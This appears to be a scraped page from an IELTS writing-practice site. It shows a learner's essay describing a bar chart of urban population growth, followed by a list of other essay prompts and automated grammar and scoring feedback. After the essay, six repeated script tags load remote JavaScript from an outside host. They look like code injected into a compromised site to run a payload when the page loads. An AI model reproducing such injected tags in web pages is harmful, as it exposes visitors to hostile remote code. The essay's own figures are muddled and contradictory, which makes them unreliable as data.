The chart below provides information about the growth of urban population in certain parts of the world including future prediction. Summarizes the information by selecting and reporting the main features, and makes comparisons where relevant.
The bar chart illustrates the change of urban population in individual parts of the world in the present and future.
Overall,the growth of urban population in the first year in Latin America is highest. Meanwhile, this rate of population in Asia is lowest. However, it can be seen clearly if we look at the specific decline.
Look at the bar chart in the first year of 1950. It can be seen that the rate of population in Latin America or Caribbean was highest among three countries at about 41%. After the highest that is Asia just below 10% about 30%. Meanwhile, the growth of urban population in Africa was lowest, just 21%. However, everything was changed and significantly dramatically increased in the 50 years after 2000. The growth of urban population in Latin America or Caribbean was still highest among the three countries but higher than the first year from 41% to 50%. In contrast, the overall rate of enrollment in the populations of Africa and Asia was stable and didn’t change much, about 32% and 33%. But Africa still had the lowest rate at that time.
Look at the bar chat in the last year of 2030 . It's also 30 years later. The growth of urban netizens is higher than and the rate in that year is better than any years, the rate was significantly increased. First, the growth of urban population in Latin America or Caribbean is still highest but significantly increased from 51% in 2000 to 62% in 2030. Next to that is Africa, that time is also significantly changed with that country from 30% to about 50%. Finally, in Asia it is lowest and just higher than in 2000 about 10%. So, the bar chart can give the urban population in the capital city is the best place to grow more and more over the years.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-06-05 | Trần Ánh Vy | 56 | view |
- In some countries online shopping is replacing shopping in stores Do you think it is a positive or negative development 89
- Nowadays young people spend too much of their free time in shopping malls Some people fear that this may have negative effects on young people and the society they live in To what extent do you agree or disagree with this opinion 73
- The bar chart below shows the expenditure on three categories among different age groups of residents in the UK in 2004 Summarise the information by selecting and reporting the main features and make comparisons where relevant 89
- Some people think that the government should provide assistance to all kinds of artists including painters musicians and poets However other think that this is waste of money Discuss both views and give your opinion 78
- The table below gives information on consumer spending items in five different countries in 2002 Summarise the information by selecting and reporting the main features and make comparisons where relevant 56
Grammar and spelling errors:
Line 2, column 8, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma
Suggestion: ,
...rld in the present and future. Overall,the growth of urban population in the fi...
^
Line 4, column 46, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Don't put a space before the full stop
Suggestion: .
...at the bar chat in the last year of 2030 . Its also 30 years later. The growth of ...
^^
Line 4, column 49, Rule ID: IT_IS[2]
Message: Did you mean 'it's' (='it is') instead of 'its' (possessive pronoun)?
Suggestion: It's; It is
...the bar chat in the last year of 2030 . Its also 30 years later. The growth of urba...
^^^
Transition Words or Phrases used:
also, but, finally, first, however, if, look, so, still, while, in contrast
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 18.0 7.0 257% => Less to be verbs wanted.
Auxiliary verbs: 3.0 1.00243902439 299% => Less auxiliary verb wanted.
Conjunction : 14.0 6.8 206% => Less conjunction wanted
Relative clauses : 7.0 3.15609756098 222% => Less relative clauses wanted (maybe 'which' is over used).
Pronoun: 13.0 5.60731707317 232% => Less pronouns wanted
Preposition: 58.0 33.7804878049 172% => OK
Nominalization: 9.0 3.97073170732 227% => Less nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1418.0 965.302439024 147% => OK
No of words: 310.0 196.424390244 158% => Less content wanted.
Chars per words: 4.57419354839 4.92477711251 93% => OK
Fourth root words length: 4.19604776685 3.73543355544 112% => OK
Word Length SD: 2.47651054842 2.65546596893 93% => OK
Unique words: 123.0 106.607317073 115% => OK
Unique words percentage: 0.396774193548 0.547539520022 72% => More unique words wanted or less content wanted.
syllable_count: 423.9 283.868780488 149% => OK
avg_syllables_per_word: 1.4 1.45097560976 96% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 5.0 1.53170731707 326% => Less pronouns wanted as sentence beginning.
Article: 9.0 4.33902439024 207% => Less articles wanted as sentence beginning.
Subordination: 1.0 1.07073170732 93% => OK
Conjunction: 1.0 0.482926829268 207% => Less conjunction wanted as sentence beginning.
Preposition: 4.0 3.36585365854 119% => OK
Performance on sentences:
How many sentences: 19.0 8.94146341463 212% => Too many sentences.
Sentence length: 16.0 22.4926829268 71% => The Avg. Sentence Length is relatively short.
Sentence length SD: 37.8797484979 43.030603864 88% => OK
Chars per sentence: 74.6315789474 112.824112599 66% => OK
Words per sentence: 16.3157894737 22.9334400587 71% => OK
Discourse Markers: 3.94736842105 5.23603664747 75% => OK
Paragraphs: 4.0 3.83414634146 104% => OK
Language errors: 3.0 1.69756097561 177% => OK
Sentences with positive sentiment : 8.0 3.70975609756 216% => Less positive sentences wanted.
Sentences with negative sentiment : 3.0 1.13902439024 263% => Less negative sentences wanted.
Sentences with neutral sentiment: 8.0 4.09268292683 195% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.137207917157 0.215688989381 64% => OK
Sentence topic coherence: 0.0526972873504 0.103423049105 51% => OK
Sentence topic coherence SD: 0.0455666597193 0.0843802449381 54% => OK
Paragraph topic coherence: 0.114783748867 0.15604864568 74% => OK
Paragraph topic coherence SD: 0.037664624527 0.0819641961636 46% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 8.3 13.2329268293 63% => Automated_readability_index is low.
flesch_reading_ease: 72.16 61.2550243902 118% => OK
smog_index: 8.8 6.51609756098 135% => OK
flesch_kincaid_grade: 7.2 10.3012195122 70% => OK
coleman_liau_index: 8.93 11.4140731707 78% => OK
dale_chall_readability_score: 6.26 8.06136585366 78% => OK
difficult_words: 36.0 40.7170731707 88% => OK
linsear_write_formula: 7.0 11.4329268293 61% => OK
gunning_fog: 8.4 10.9970731707 76% => OK
text_standard: 9.0 11.0658536585 81% => OK
What are above readability scores?
---------------------
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.